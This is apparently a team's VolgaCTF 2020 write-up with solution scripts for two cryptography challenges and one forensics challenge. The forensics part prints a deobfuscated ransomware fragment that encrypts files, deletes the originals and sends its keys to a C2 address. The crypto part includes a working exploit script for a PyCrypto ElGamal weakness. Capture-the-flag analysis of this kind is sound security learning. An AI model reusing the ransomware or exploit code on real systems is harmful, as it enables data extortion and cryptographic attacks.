VolgaCTF 2020

Categories index
Crypto - Forensics

Crypto

Noname

I have Noname; I am but two days old.

We are given the following encryptor

from Crypto.Cipher import AES
from secret import flag
import time
from hashlib import md5

key = md5(str(int(time.time()))).digest()
padding = 16 - len(flag) % 16
aes = AES.new(key, AES.MODE_ECB)

outData = aes.encrypt(flag + padding * ('0'+hex(padding)[2:]).decode('hex'))

aes.decrypt(outData)

print outData.encode('base64')

with the encrypted text: uzF9t5fs3BC5MfPGe346gXrDmTIGGAIXJS88mZntUWoMn5fKYCxcVLmNjqwwHc2sCO3eFGGXY3cswMnO7OZXOw==

The flag is encrypted with a key based on time.

This is not a safe at all. If you also add the intel on when the key was generated (challenge description), is just a question of bruteforcing the small amount of possibilities.

from Crypto.Cipher import AES
from hashlib import md5

outData = ""
with open('encrypted', 'r') as f:
    outData = f.readline().decode('base64')

# 1d = 86400 , 3d = 259200
time = 1585073793 # curTime - 3d

while True:
    key = md5(str(time)).digest()
    aes = AES.new(key, AES.MODE_ECB)
    flag = aes.decrypt(outData)

    if "VolgaCTF" in flag:
        print(flag)
        break
    elif time == 1585332993: # curTime
        print("Nope, dang it!")
        break
    time += 1

🏁 VolgaCTF{5om3tim3s_8rutf0rc3_i5_th3_345iest_w4y}

Guess

Try to guess all encrypted bits and get your reward!

Semplified view of the given script

#!/usr/bin/python
from __future__ import print_function
from Crypto.PublicKey import ElGamal
from Crypto import Random
from flag_file import flag
import Crypto.Random.random
import time
import sys

# Communication utils
def read_message():
    ...
def send_message(message):
    ...

# Algebra
def kronecker(x, p):
    q = (p - 1) / 2
    return pow(x, q, p)

def findQNR(p):
    r = Crypto.Random.random.randrange(2, p - 1)
    while kronecker(r, p) == 1:
        r = Crypto.Random.random.randrange(2, p-1)
    return r

def findQR(p):
    r = Crypto.Random.random.randrange(2, p - 1)
    return pow(r, 2, p)

# Main
if __name__ == '__main__':
    try:
        while True:
            key = ElGamal.generate(512, Random.new().read)
            runs = 1000
            successful_tries = 0

            send_message('(y, p) = ({0}, {1})'.format(key.y, key.p))

            for i in xrange(runs):
                plaintexts = dict()
                plaintexts[0] = findQNR(key.p)
                plaintexts[1] = findQR(key.p)

                challenge_bit = Crypto.Random.random.randrange(0,2)
                r = Crypto.Random.random.randrange(1,key.p-1)
                challenge = key.encrypt(plaintexts[challenge_bit], r)

                # Send challenge
                send_message(challenge)

                # Receive challenge_bit
                received_bit = read_message()
                if int(received_bit) == challenge_bit:
                    successful_tries += 1

            if successful_tries == runs:
                send_message(flag)

    except Exception as ex:
        send_message('Something must have gone very, very wrong...')
    finally:
        pass

Since the given script doesn’t seems to have any major problems, we searched if ElGamal had any vulnerabilities or way of knowing if something get leaked in this implementation.

We stumbled upon this github issue that points out a problem in the implementation of ElGamal in PyCrypto.

We haven’t fully understood the reasons, but here’s the concept.

ElGamal encrypted messages belongs to one of two classes with a 50% 50% chanche. Because of the worng implementation it’s possibile to distinguish messagges in different classes.

That’s exacly our case. Therefore, adjusting the PoC to our case gets us the flag.

# https://github.com/TElgamal/attack-on-pycrypto-elgamal
# https://github.com/dlitz/pycrypto/issues/253

from pwn import *
from Crypto.PublicKey import ElGamal
from Crypto import Random
import Crypto.Random.random

def kronecker(x,p):
    ...
def findQNR(p):
    ...
def findQR(p):
    ...

conn = remote('guess.q.2020.volgactf.ru', 7777)

key = conn.recvline()[10:].rstrip().split(',')
keyY = int(key[0])
keyP = int(key[1][1:-1])
print(str.format("[*] received key (y, p): ({}, {})", keyY, keyP))

challenge = dict()

run = 1
while True:
    line = conn.recvline()
    if "Volga" in line: # Check if flag has been print
        print(line)
        break

    line = line.rstrip()[1:-1].split(', ')
    challenge[0] = long(line[0])
    challenge[1] = long(line[1])

    output = -1
    if (kronecker(keyY, keyP) == 1) or (kronecker(challenge[0], keyP) == 1):
        if kronecker(challenge[1], keyP) == 1:
            output = 1
        else:
            output = 0
    else:
        if kronecker(challenge[1], keyP) == 1:
            output = 0
        else:
            output = 1

    print(str.format("[*] ({}) guessed output: {}", run, output))
    conn.sendline(str(output))

    run += 1

Forensics

Script kiddie

One of my students felt like a cool ransomware hacker. This is just as funny as stupid, for we have all the traffic been written…

All we have is an .ova image.

Extracting it with tar -xvf ubuntu.ova gets us the .vmdk which can then be mounted.

Looking throught the fs we see two users in the /home folder with the following relevant files.

/home
+-- test
|   |-- ...
|   |-- .bash_history
|   \-- data/secrets.txt.enc
|
\-- prod
    |-- ...
    \-- net_dumps/dump.pcap

The test user was the one affected by the ransomware and the ransomware itself was deleted. However, a trace has been left in .bash_history.

...
rm clev.py
...

The script could be found analyzing the exported objects in the found dump.pcap. After a quick de-obfuscation, here are the important parts.

from Crypto.Cipher import AES

def addPadding(u):
    # add padding for aes 16 block size

class V():
    def __init__(self):
        # get user OS

    def encryptFile(self, key, file):
        try:
            f = open(file, 'rb')
            d = f.read()
            f.close()
            d = addPadding(d)
            q = key.encrypt(d)
            f = open(file+'.enc', 'wb')
            f.write(q)
            f.close()
            os.remove(file)
        except:
            pass

    def gen_keys_and_encrypt(self):
        M = []
        for x in range(16):
            key = ''.join(random.choices(string.ascii_letters, k=16))
            M.append(key)
        u = ','.join(k for k in M)
        u = bytes(u, "utf-8")
        u = base64.b64encode(u)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('192.168.1.38', 9999))
        s.sendalexit(bytes(self.id, "utf-8"))
        s.recv(1)
        s.sendalexit(u)
        encKey = AES.new(key, AES.MODE_ECB)
        # encrypt all files with ext ['doc', '.txt', '.rc', '.ini', '.dat', '.conf', '_history']:

The generated keys themselves are secure,

key = ''.join(random.choices(string.ascii_letters, k=16))

but they are then sended to CnC server using only base64.

Following the tcp stream to 192.168.1.38:9999 in the dump.pcap file, reveals the base64 keys.

from Crypto.Cipher import AES

encFile = ""
with open('secrets.txt.enc', 'r') as f:
    encFile = f.read()

keys = ["mTGeljhDRKASKKhQ","FLrsSEveQQiloPRn","XedXHYBUHpIXDBJP","IOGPErjosxNiQrNM","RzvpbEURLdFfaGFM","vdBVDCvixjShCQvy","EQlcsnUtzCHyFPHM","JkDijgAFiVBWJaLz","ghcPIOSqCdCTqOpD","DneCwbkDHkojppHm","lVRZReAlaIzHgisc","NdjcgVVjiinxftCC","RkgLpRCqrnibrqsN","kzewteAgPEZdkzQJ","HnpGoUeqckEqxpQm","LSNWRarThRdiPLpM"]

for key in keys:
    aes = AES.new(key, AES.MODE_ECB)
    flag = aes.decrypt(encFile)

    assert flag == 'flag{26c08ad080830d6dcd76c15009ab6b03}'